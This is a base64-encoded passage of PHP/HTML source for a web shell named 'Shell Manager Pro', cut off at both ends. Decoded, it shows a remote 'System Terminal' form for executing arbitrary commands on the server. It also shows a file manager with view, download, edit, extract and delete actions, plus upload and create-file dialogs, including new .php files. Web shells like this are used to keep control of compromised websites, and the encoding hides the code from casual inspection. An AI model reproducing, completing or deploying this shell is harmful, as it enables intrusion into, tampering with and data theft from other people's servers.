L2Rpdj4NCiAgICAgICAgICAgICAgICAgICAgICAgIDwvZGl2Pg0KICAgICAgICAgICAgICAgICAgICAgICAgPD9waHAgZW5kZm9yZWFjaDsgPz4NCiAgICAgICAgICAgICAgICAgICAgPC9kaXY+DQogICAgICAgICAgICAgICAgPC9kaXY+DQogICAgICAgICAgICA8L2Rpdj4NCiAgICAgICAgICAgIA0KICAgICAgICAgICAgPCEtLSBUZXJtaW5hbCBUYWIgLS0+DQogICAgICAgICAgICA8ZGl2IGlkPSJ0ZXJtaW5hbFRhYiIgY2xhc3M9InRhYi1jb250ZW50IiBzdHlsZT0iZGlzcGxheTogbm9uZTsiPg0KICAgICAgICAgICAgICAgIDxkaXYgY2xhc3M9ImNhcmQiPg0KICAgICAgICAgICAgICAgICAgICA8ZGl2IGNsYXNzPSJjYXJkLWhlYWRlciI+DQogICAgICAgICAgICAgICAgICAgICAgICA8ZGl2IGNsYXNzPSJjYXJkLXRpdGxlIj5TeXN0ZW0gVGVybWluYWw8L2Rpdj4NCiAgICAgICAgICAgICAgICAgICAgICAgIDxkaXYgY2xhc3M9ImQtZmxleCBnYXAtMTAiPg0KICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxidXR0b24gY2xhc3M9ImJ0biBidG4tc20gYnRuLXNlY29uZGFyeSIgb25jbGljaz0iY2xlYXJUZXJtaW5hbCgpIj4NCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPGkgY2xhc3M9ImZhcyBmYS1icm9vbSI+PC9pPiBDbGVhcg0KICAgICAgICAgICAgICAgICAgICAgICAgICAgIDwvYnV0dG9uPg0KICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxidXR0b24gY2xhc3M9ImJ0biBidG4tc20gYnRuLXNlY29uZGFyeSIgb25jbGljaz0ic2hvd01vZGFsKCdoaXN0b3J5TW9kYWwnKSI+DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxpIGNsYXNzPSJmYXMgZmEtaGlzdG9yeSI+PC9pPiBIaXN0b3J5DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgPC9idXR0b24+DQogICAgICAgICAgICAgICAgICAgICAgICA8L2Rpdj4NCiAgICAgICAgICAgICAgICAgICAgPC9kaXY+DQogICAgICAgICAgICAgICAgICAgIDxkaXYgY2xhc3M9InRlcm1pbmFsLWNvbnRhaW5lciI+DQogICAgICAgICAgICAgICAgICAgICAgICA8ZGl2IGNsYXNzPSJ0ZXJtaW5hbC1ib2R5IiBpZD0idGVybWluYWxPdXRwdXQiPg0KICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxkaXYgY2xhc3M9Im91dHB1dCI+PD9waHAgZWNobyBodG1sc3BlY2lhbGNoYXJzKCR0ZXJtaW5hbF9vdXRwdXQgPzogJ1dlbGNvbWUgdG8gU2hlbGwgTWFuYWdlciBQcm8nKTsgPz48L2Rpdj4NCiAgICAgICAgICAgICAgICAgICAgICAgICAgICA8ZGl2IGNsYXNzPSJwcm9tcHQiPiQ8L2Rpdj4NCiAgICAgICAgICAgICAgICAgICAgICAgIDwvZGl2Pg0KICAgICAgICAgICAgICAgICAgICAgICAgPGZvcm0gbWV0aG9kPSJQT1NUIiBpZD0idGVybWluYWxGb3JtIiBjbGFzcz0iZC1mbGV4IGdhcC0xMCBwLTIwIj4NCiAgICAgICAgICAgICAgICAgICAgICAgICAgICA8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJjc3JmX3Rva2VuIiB2YWx1ZT0iPD9waHAgZWNobyAkX1NFU1NJT05bJ2NzcmZfdG9rZW4nXTsgPz4iPg0KICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxpbnB1dCB0eXBlPSJ0ZXh0IiBuYW1lPSJjb21tYW5kIiBjbGFzcz0iZm9ybS1jb250cm9sIiANCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgcGxhY2Vob2xkZXI9IkVudGVyIGNvbW1hbmQuLi4iIGF1dG9jb21wbGV0ZT0ib2ZmIiBpZD0iY29tbWFuZElucHV0Ij4NCiAgICAgICAgICAgICAgICAgICAgICAgICAgICA8YnV0dG9uIHR5cGU9InN1Ym1pdCIgY2xhc3M9ImJ0biBidG4tcHJpbWFyeSI+DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxpIGNsYXNzPSJmYXMgZmEtcGxheSI+PC9pPiBFeGVjdXRlDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgPC9idXR0b24+DQogICAgICAgICAgICAgICAgICAgICAgICA8L2Zvcm0+DQogICAgICAgICAgICAgICAgICAgIDwvZGl2Pg0KICAgICAgICAgICAgICAgIDwvZGl2Pg0KICAgICAgICAgICAgPC9kaXY+DQogICAgICAgICAgICANCiAgICAgICAgICAgIDwhLS0gRmlsZSBNYW5hZ2VyIFRhYiAtLT4NCiAgICAgICAgICAgIDxkaXYgaWQ9ImZpbGVzVGFiIiBjbGFzcz0idGFiLWNvbnRlbnQiIHN0eWxlPSJkaXNwbGF5OiBub25lOyI+DQogICAgICAgICAgICAgICAgPGRpdiBjbGFzcz0iY2FyZCI+DQogICAgICAgICAgICAgICAgICAgIDxkaXYgY2xhc3M9ImNhcmQtaGVhZGVyIj4NCiAgICAgICAgICAgICAgICAgICAgICAgIDxkaXYgY2xhc3M9ImNhcmQtdGl0bGUiPkZpbGUgTWFuYWdlcjwvZGl2Pg0KICAgICAgICAgICAgICAgICAgICAgICAgPGRpdiBjbGFzcz0iZC1mbGV4IGdhcC0xMCI+DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgPGJ1dHRvbiBjbGFzcz0iYnRuIGJ0bi1zbSBidG4tc2Vjb25kYXJ5IiBvbmNsaWNrPSJzZWxlY3RBbGwoKSI+DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxpIGNsYXNzPSJmYXMgZmEtY2hlY2stc3F1YXJlIj48L2k+IFNlbGVjdCBBbGwNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICA8L2J1dHRvbj4NCiAgICAgICAgICAgICAgICAgICAgICAgICAgICA8YnV0dG9uIGNsYXNzPSJidG4gYnRuLXNtIGJ0bi1kYW5nZXIiIG9uY2xpY2s9ImJ1bGtEZWxldGUoKSI+DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxpIGNsYXNzPSJmYXMgZmEtdHJhc2giPjwvaT4gRGVsZXRlIFNlbGVjdGVkDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgPC9idXR0b24+DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgPGJ1dHRvbiBjbGFzcz0iYnRuIGJ0bi1zbSBidG4taW5mbyIgb25jbGljaz0ic2hvd01vZGFsKCd6aXBNb2RhbCcpIj4NCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPGkgY2xhc3M9ImZhcyBmYS1maWxlLWFyY2hpdmUiPjwvaT4gWmlwL1VuemlwDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgPC9idXR0b24+DQogICAgICAgICAgICAgICAgICAgICAgICA8L2Rpdj4NCiAgICAgICAgICAgICAgICAgICAgPC9kaXY+DQogICAgICAgICAgICAgICAgICAgIDxkaXYgc3R5bGU9Im92ZXJmbG93LXg6IGF1dG87Ij4NCiAgICAgICAgICAgICAgICAgICAgICAgIDx0YWJsZSBjbGFzcz0idGFibGUiPg0KICAgICAgICAgICAgICAgICAgICAgICAgICAgIDx0aGVhZD4NCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPHRyPg0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPHRoIHdpZHRoPSIzMCI+PGlucHV0IHR5cGU9ImNoZWNrYm94IiBpZD0ic2VsZWN0QWxsIj48L3RoPg0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPHRoPk5hbWU8L3RoPg0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPHRoPlNpemU8L3RoPg0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPHRoPk1vZGlmaWVkPC90aD4NCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDx0aD5QZXJtaXNzaW9uczwvdGg+DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8dGg+QWN0aW9uczwvdGg+DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDwvdHI+DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgPC90aGVhZD4NCiAgICAgICAgICAgICAgICAgICAgICAgICAgICA8dGJvZHk+DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDw/cGhwIGZvcmVhY2ggKCRmaWxlcyBhcyAkZmlsZSk6ID8+DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDw/cGhwIGlmICgkZmlsZSA9PSAnLicgfHwgJGZpbGUgPT0gJy4uJykgY29udGludWU7ID8+DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDw/cGhwDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICRwYXRoID0gJGN1cnJlbnREaXIgLiAnLycgLiAkZmlsZTsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJGlzRGlyID0gaXNfZGlyKCRwYXRoKTsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJHNpemUgPSAkaXNEaXIgPyAnLScgOiBmb3JtYXRfc2l6ZShAZmlsZXNpemUoJHBhdGgpKTsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJHBlcm1zID0gc3Vic3RyKHNwcmludGYoJyVvJywgQGZpbGVwZXJtcygkcGF0aCkpLCAtNCk7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICRleHQgPSBzdHJ0b2xvd2VyKHBhdGhpbmZvKCRwYXRoLCBQQVRISU5GT19FWFRFTlNJT04pKTsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJGlzQXJjaGl2ZSA9IGluX2FycmF5KCRleHQsIFsnemlwJywgJ3JhcicsICc3eicsICd0YXInLCAnZ3onXSk7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgID8+DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDx0cj4NCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDx0ZD48aW5wdXQgdHlwZT0iY2hlY2tib3giIG5hbWU9Iml0ZW1zW10iIHZhbHVlPSI8P3BocCBlY2hvICRmaWxlOyA/PiIgY2xhc3M9Iml0ZW0tY2hlY2tib3giPjwvdGQ+DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8dGQ+DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPGRpdiBjbGFzcz0iZC1mbGV4IGFsaWduLWNlbnRlciBnYXAtMTAiPg0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8aSBjbGFzcz0iZmFzIDw/cGhwIGVjaG8gJGlzRGlyID8gJ2ZhLWZvbGRlciB0ZXh0LXdhcm5pbmcnIDogZ2V0X2ZpbGVfaWNvbigkZmlsZSk7ID8+Ij48L2k+DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDw/cGhwIGlmICgkaXNEaXIpOiA/Pg0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPGEgaHJlZj0iP2Rpcj08P3BocCBlY2hvIHVybGVuY29kZSgkcGF0aCk7ID8+IiBjbGFzcz0idGV4dC1wcmltYXJ5Ij4NCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8P3BocCBlY2hvIGh0bWxzcGVjaWFsY2hhcnMoJGZpbGUpOyA/Pg0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPC9hPg0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8P3BocCBlbHNlOiA/Pg0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPD9waHAgZWNobyBodG1sc3BlY2lhbGNoYXJzKCRmaWxlKTsgPz4NCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPD9waHAgZW5kaWY7ID8+DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDw/cGhwIGlmICgkaXNBcmNoaXZlKTogPz4NCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxzcGFuIGNsYXNzPSJiYWRnZSBiYWRnZS1pbmZvIj5BcmNoaXZlPC9zcGFuPg0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8P3BocCBlbmRpZjsgPz4NCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8L2Rpdj4NCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDwvdGQ+DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8dGQ+PD9waHAgZWNobyAkc2l6ZTsgPz48L3RkPg0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPHRkPjw/cGhwIGVjaG8gZGF0ZSgnWS1tLWQgSDppJywgQGZpbGVtdGltZSgkcGF0aCkpOyA/PjwvdGQ+DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8dGQ+DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPHNwYW4gY2xhc3M9ImJhZGdlIGJhZGdlLWluZm8iPjw/cGhwIGVjaG8gJHBlcm1zOyA/Pjwvc3Bhbj4NCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8P3BocCBpZiAoaXNfd3JpdGFibGUoJHBhdGgpKTogPz4NCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPHNwYW4gY2xhc3M9ImJhZGdlIGJhZGdlLXN1Y2Nlc3MiPlc8L3NwYW4+DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPD9waHAgZW5kaWY7ID8+DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8L3RkPg0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPHRkPg0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxkaXYgY2xhc3M9ImQtZmxleCBnYXAtNSI+DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDw/cGhwIGlmICghJGlzRGlyKTogPz4NCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxhIGhyZWY9Ij9hY3Rpb249dmlldyZmaWxlPTw/cGhwIGVjaG8gdXJsZW5jb2RlKCRmaWxlKTsgPz4mZGlyPTw/cGhwIGVjaG8gdXJsZW5jb2RlKCRjdXJyZW50RGlyKTsgPz4iIA0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgdGFyZ2V0PSJfYmxhbmsiIGNsYXNzPSJidG4gYnRuLXNtIGJ0bi1zZWNvbmRhcnkiPg0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxpIGNsYXNzPSJmYXMgZmEtZXllIj48L2k+DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8L2E+DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8YSBocmVmPSI/YWN0aW9uPWRvd25sb2FkJmZpbGU9PD9waHAgZWNobyB1cmxlbmNvZGUoJGZpbGUpOyA/PiZkaXI9PD9waHAgZWNobyB1cmxlbmNvZGUoJGN1cnJlbnREaXIpOyA/PiIgDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBjbGFzcz0iYnRuIGJ0bi1zbSBidG4tc2Vjb25kYXJ5Ij4NCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8aSBjbGFzcz0iZmFzIGZhLWRvd25sb2FkIj48L2k+DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8L2E+DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8P3BocCBpZiAoJGlzQXJjaGl2ZSk6ID8+DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPGEgaHJlZj0iP2FjdGlvbj1leHRyYWN0JmZpbGU9PD9waHAgZWNobyB1cmxlbmNvZGUoJGZpbGUpOyA/PiZkaXI9PD9waHAgZWNobyB1cmxlbmNvZGUoJGN1cnJlbnREaXIpOyA/PiIgDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgY2xhc3M9ImJ0biBidG4tc20gYnRuLWluZm8iIG9uY2xpY2s9InJldHVybiBjb25maXJtKCdFeHRyYWN0IGFyY2hpdmU/JykiPg0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8aSBjbGFzcz0iZmFzIGZhLWV4cGFuZCI+PC9pPg0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDwvYT4NCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDw/cGhwIGVsc2U6ID8+DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPGJ1dHRvbiB0eXBlPSJidXR0b24iIGNsYXNzPSJidG4gYnRuLXNtIGJ0bi1zZWNvbmRhcnkiIA0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgb25jbGljaz0iZWRpdEZpbGUoJzw/cGhwIGVjaG8gYWRkc2xhc2hlcygkZmlsZSk7ID8+JykiPg0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8aSBjbGFzcz0iZmFzIGZhLWVkaXQiPjwvaT4NCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8L2J1dHRvbj4NCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDw/cGhwIGVuZGlmOyA/Pg0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8P3BocCBlbmRpZjsgPz4NCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPGEgaHJlZj0iP2FjdGlvbj1kZWxldGUmZmlsZT08P3BocCBlY2hvIHVybGVuY29kZSgkZmlsZSk7ID8+JmRpcj08P3BocCBlY2hvIHVybGVuY29kZSgkY3VycmVudERpcik7ID8+IiANCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgY2xhc3M9ImJ0biBidG4tc20gYnRuLWRhbmdlciIgb25jbGljaz0icmV0dXJuIGNvbmZpcm0oJ0RlbGV0ZT8nKSI+DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8aSBjbGFzcz0iZmFzIGZhLXRyYXNoIj48L2k+DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDwvYT4NCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8L2Rpdj4NCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDwvdGQ+DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDwvdHI+DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDw/cGhwIGVuZGZvcmVhY2g7ID8+DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgPC90Ym9keT4NCiAgICAgICAgICAgICAgICAgICAgICAgIDwvdGFibGU+DQogICAgICAgICAgICAgICAgICAgIDwvZGl2Pg0KICAgICAgICAgICAgICAgIDwvZGl2Pg0KICAgICAgICAgICAgPC9kaXY+DQogICAgICAgIDwvZGl2Pg0KICAgIDwvZGl2Pg0KICAgIA0KICAgIDwhLS0gTW9kYWxzIC0tPg0KICAgIDxkaXYgaWQ9InVwbG9hZE1vZGFsIiBjbGFzcz0ibW9kYWwiPg0KICAgICAgICA8ZGl2IGNsYXNzPSJtb2RhbC1jb250ZW50Ij4NCiAgICAgICAgICAgIDxkaXYgY2xhc3M9Im1vZGFsLWhlYWRlciI+DQogICAgICAgICAgICAgICAgPGgzPjxpIGNsYXNzPSJmYXMgZmEtdXBsb2FkIj48L2k+IFVwbG9hZCBGaWxlczwvaDM+DQogICAgICAgICAgICAgICAgPGJ1dHRvbiBjbGFzcz0iYnRuIGJ0bi1pY29uIiBvbmNsaWNrPSJoaWRlTW9kYWwoKSI+DQogICAgICAgICAgICAgICAgICAgIDxpIGNsYXNzPSJmYXMgZmEtdGltZXMiPjwvaT4NCiAgICAgICAgICAgICAgICA8L2J1dHRvbj4NCiAgICAgICAgICAgIDwvZGl2Pg0KICAgICAgICAgICAgPGRpdiBjbGFzcz0ibW9kYWwtYm9keSI+DQogICAgICAgICAgICAgICAgPGZvcm0gbWV0aG9kPSJQT1NUIiBlbmN0eXBlPSJtdWx0aXBhcnQvZm9ybS1kYXRhIiBpZD0idXBsb2FkRm9ybSI+DQogICAgICAgICAgICAgICAgICAgIDxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9ImNzcmZfdG9rZW4iIHZhbHVlPSI8P3BocCBlY2hvICRfU0VTU0lPTlsnY3NyZl90b2tlbiddOyA/PiI+DQogICAgICAgICAgICAgICAgICAgIDxkaXYgY2xhc3M9ImZvcm0tZ3JvdXAiPg0KICAgICAgICAgICAgICAgICAgICAgICAgPGxhYmVsIGNsYXNzPSJmb3JtLWxhYmVsIj5TZWxlY3QgRmlsZXMgKE11bHRpcGxlIGFsbG93ZWQpPC9sYWJlbD4NCiAgICAgICAgICAgICAgICAgICAgICAgIDxpbnB1dCB0eXBlPSJmaWxlIiBuYW1lPSJ1cGxvYWRfZmlsZVtdIiBtdWx0aXBsZSBjbGFzcz0iZm9ybS1jb250cm9sIiByZXF1aXJlZD4NCiAgICAgICAgICAgICAgICAgICAgPC9kaXY+DQogICAgICAgICAgICAgICAgICAgIDxkaXYgY2xhc3M9ImZvcm0tZ3JvdXAiPg0KICAgICAgICAgICAgICAgICAgICAgICAgPGxhYmVsIGNsYXNzPSJmb3JtLWxhYmVsIj5UYXJnZXQgRGlyZWN0b3J5PC9sYWJlbD4NCiAgICAgICAgICAgICAgICAgICAgICAgIDxpbnB1dCB0eXBlPSJ0ZXh0IiB2YWx1ZT0iPD9waHAgZWNobyBodG1sc3BlY2lhbGNoYXJzKCRjdXJyZW50RGlyKTsgPz4iIGNsYXNzPSJmb3JtLWNvbnRyb2wiIHJlYWRvbmx5Pg0KICAgICAgICAgICAgICAgICAgICA8L2Rpdj4NCiAgICAgICAgICAgICAgICAgICAgPGRpdiBjbGFzcz0iZC1mbGV4IGdhcC0xMCI+DQogICAgICAgICAgICAgICAgICAgICAgICA8YnV0dG9uIHR5cGU9InN1Ym1pdCIgY2xhc3M9ImJ0biBidG4tcHJpbWFyeSI+DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgPGkgY2xhc3M9ImZhcyBmYS11cGxvYWQiPjwvaT4gVXBsb2FkDQogICAgICAgICAgICAgICAgICAgICAgICA8L2J1dHRvbj4NCiAgICAgICAgICAgICAgICAgICAgICAgIDxidXR0b24gdHlwZT0iYnV0dG9uIiBjbGFzcz0iYnRuIGJ0bi1zZWNvbmRhcnkiIG9uY2xpY2s9ImhpZGVNb2RhbCgpIj4NCiAgICAgICAgICAgICAgICAgICAgICAgICAgICBDYW5jZWwNCiAgICAgICAgICAgICAgICAgICAgICAgIDwvYnV0dG9uPg0KICAgICAgICAgICAgICAgICAgICA8L2Rpdj4NCiAgICAgICAgICAgICAgICA8L2Zvcm0+DQogICAgICAgICAgICA8L2Rpdj4NCiAgICAgICAgPC9kaXY+DQogICAgPC9kaXY+DQogICAgDQogICAgPGRpdiBpZD0iY3JlYXRlTW9kYWwiIGNsYXNzPSJtb2RhbCI+DQogICAgICAgIDxkaXYgY2xhc3M9Im1vZGFsLWNvbnRlbnQiPg0KICAgICAgICAgICAgPGRpdiBjbGFzcz0ibW9kYWwtaGVhZGVyIj4NCiAgICAgICAgICAgICAgICA8aDM+PGkgY2xhc3M9ImZhcyBmYS1wbHVzIj48L2k+IENyZWF0ZSBOZXc8L2gzPg0KICAgICAgICAgICAgICAgIDxidXR0b24gY2xhc3M9ImJ0biBidG4taWNvbiIgb25jbGljaz0iaGlkZU1vZGFsKCkiPg0KICAgICAgICAgICAgICAgICAgICA8aSBjbGFzcz0iZmFzIGZhLXRpbWVzIj48L2k+DQogICAgICAgICAgICAgICAgPC9idXR0b24+DQogICAgICAgICAgICA8L2Rpdj4NCiAgICAgICAgICAgIDxkaXYgY2xhc3M9Im1vZGFsLWJvZHkiPg0KICAgICAgICAgICAgICAgIDxmb3JtIG1ldGhvZD0iUE9TVCIgaWQ9ImNyZWF0ZUZvcm0iPg0KICAgICAgICAgICAgICAgICAgICA8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJjc3JmX3Rva2VuIiB2YWx1ZT0iPD9waHAgZWNobyAkX1NFU1NJT05bJ2NzcmZfdG9rZW4nXTsgPz4iPg0KICAgICAgICAgICAgICAgICAgICA8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJjcmVhdGVfaXRlbSIgdmFsdWU9IjEiPg0KICAgICAgICAgICAgICAgICAgICANCiAgICAgICAgICAgICAgICAgICAgPGRpdiBjbGFzcz0iZm9ybS1ncm91cCI+DQogICAgICAgICAgICAgICAgICAgICAgICA8bGFiZWwgY2xhc3M9ImZvcm0tbGFiZWwiPlR5cGU8L2xhYmVsPg0KICAgICAgICAgICAgICAgICAgICAgICAgPHNlbGVjdCBuYW1lPSJ0eXBlIiBjbGFzcz0iZm9ybS1jb250cm9sIiBvbmNoYW5nZT0idG9nZ2xlQ3JlYXRlVHlwZSgpIj4NCiAgICAgICAgICAgICAgICAgICAgICAgICAgICA8b3B0aW9uIHZhbHVlPSJmaWxlIj5GaWxlPC9vcHRpb24+DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgPG9wdGlvbiB2YWx1ZT0iZm9sZGVyIj5Gb2xkZXI8L29wdGlvbj4NCiAgICAgICAgICAgICAgICAgICAgICAgIDwvc2VsZWN0Pg0KICAgICAgICAgICAgICAgICAgICA8L2Rpdj4NCiAgICAgICAgICAgICAgICAgICAgDQogICAgICAgICAgICAgICAgICAgIDxkaXYgY2xhc3M9ImZvcm0tZ3JvdXAiPg0KICAgICAgICAgICAgICAgICAgICAgICAgPGxhYmVsIGNsYXNzPSJmb3JtLWxhYmVsIj5OYW1lPC9sYWJlbD4NCiAgICAgICAgICAgICAgICAgICAgICAgIDxpbnB1dCB0eXBlPSJ0ZXh0IiBuYW1lPSJuYW1lIiBjbGFzcz0iZm9ybS1jb250cm9sIiBwbGFjZWhvbGRlcj0iZmlsZW5hbWUucGhwIiByZXF1aXJlZD4NCiAgICAgICAgICAgICAgICAgICAgPC9kaXY+DQogICAgICAgICAgICAgICAgICAgIA0KICAgICAgICAgICAgICAgICAgICA8ZGl2IGlkPSJmaWxlQ29udGVudEdyb3VwIiBjbGFzcz0iZm9ybS1ncm91cCI+DQogICAgICAgICAgICAgICAgICAgICAgICA8bGFiZWwgY2xhc3M9ImZvcm0tbGFiZWwiPkNvbnRlbnQ8L2xhYmVsPg0KICAgICAgICAgICAgICAgICAgICAgICAgPHRleHRhcmVhIG5hbWU9ImNvbnRlbnQiIGNsYXNzPSJmb3JtLWNvbnRyb2wiIHJvd3M9IjEwIiBwbGFjZWhvbGRlcj0iRmlsZSBjb250ZW50Li4uIj48L3RleHRhcmVhPg0KICAgICAgICAgICAgICAgICAgICA8L2Rpdj4NCiAgICAgICAgICAgICAgICAgICAgDQogICAgICAgICAgICAgICAgICAgIDxkaXYgY2xhc3M9ImQtZmxleCBnYXAtMTAiPg0KICAgICAgICAgICAgICAgICAgICAgICAgPGJ1dHRvbiB0eXBlPSJzdWJtaXQiIGNsYXNzPSJidG4gYnRuLXByaW1hcnkiPkNyZWF0ZTwvYnV0dG9uPg0KICAgICAgICAgICAgICAgICAgICAgICAgPGJ1dHRvbiB0eXBlPSJidXR0b24iIGNsYXNzPSJidG4gYnRuLXNlY29uZGFyeSIgb25jbGljaz0iaGlkZU1vZGFsKCkiPkNhbmNlbDwvYnV0dG9uPg0KICAgICAgICAgICAgICAgICAgICA8L2Rpdj4NCiAgICAgICAgICAgICAgICA8L2Zvcm0+DQogICAgICAgICAgICA8L2Rpdj4NCiAgICAgICAgPC9kaXY+DQogICAgPC9kaXY+DQogICAgDQogICAgPCEtLSBCYXNlNjQgTW9kYWwgLS0+DQogICAgPGRpdiBpZD0iYmFzZTY0TW9kYWwiIGNsYXNzPSJtb2RhbCI+DQogICAgICAgIDxkaXYgY2xhc3M9Im1vZGFsLWNvbnRlbnQiPg0KICAgICAgICAgICAgPGRpdiBjbGFzcz0ibW9kYWwtaGVhZGVyIj4NCiAgICAgICAgICAgICAgICA8a